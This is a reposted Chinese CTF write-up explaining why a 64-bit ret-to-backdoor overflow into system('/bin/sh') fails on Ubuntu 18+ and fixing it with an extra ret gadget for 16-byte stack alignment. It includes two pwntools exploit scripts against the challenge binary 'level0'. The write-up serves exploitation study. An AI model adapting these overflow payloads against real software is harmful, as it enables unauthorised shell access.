在ubuntu18以上的版本,64位的程式若包含了system(“/bin/sh”),就需要考慮堆疊平衡,下面以一道例題說明,
鏈接:https://pan.baidu.com/s/1QfEWfZDiqz56w7EwDFEvzg
提取碼:1111
主函式:

被呼叫函式:

檔案提供的后門函式:

很簡單的堆疊溢位,
32位能正常運行的題解,在這里是錯誤的:
from pwn import *
io=process("./level0")
raw_input()
elf=ELF("./level0")
system_addr=0x400596
io.recvuntil(b"World\n")
payload=b"A"*(0x88)+p64(system_addr)
io.send(payload)
io.interactive()
我們另開一個終端,除錯分析:

跟進callsystem中的system函式,有一個指令要求rsp+0x40的值是16位元組對齊,

$rsp+0x40沒有16位元組對齊,
解決方法
更改payload長度,再添加一個任意的ret指令(不是同一個函式的ret也行),

正確的題解:
from pwn import *
io=process("./level0")
raw_input()
elf=ELF("./level0")
system_addr=0x400596
io.recvuntil(b"World\n")
payload=b"A"*(0x88)+p64(0x4005A5)+p64(system_addr)
io.send(payload)
io.interactive()
堆疊圖:


16位元組對齊了,堆疊也平衡了,
大功告成

參考:http://blog.eonew.cn/archives/958

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/244792.html
標籤:其他
上一篇:利用python開發app實戰
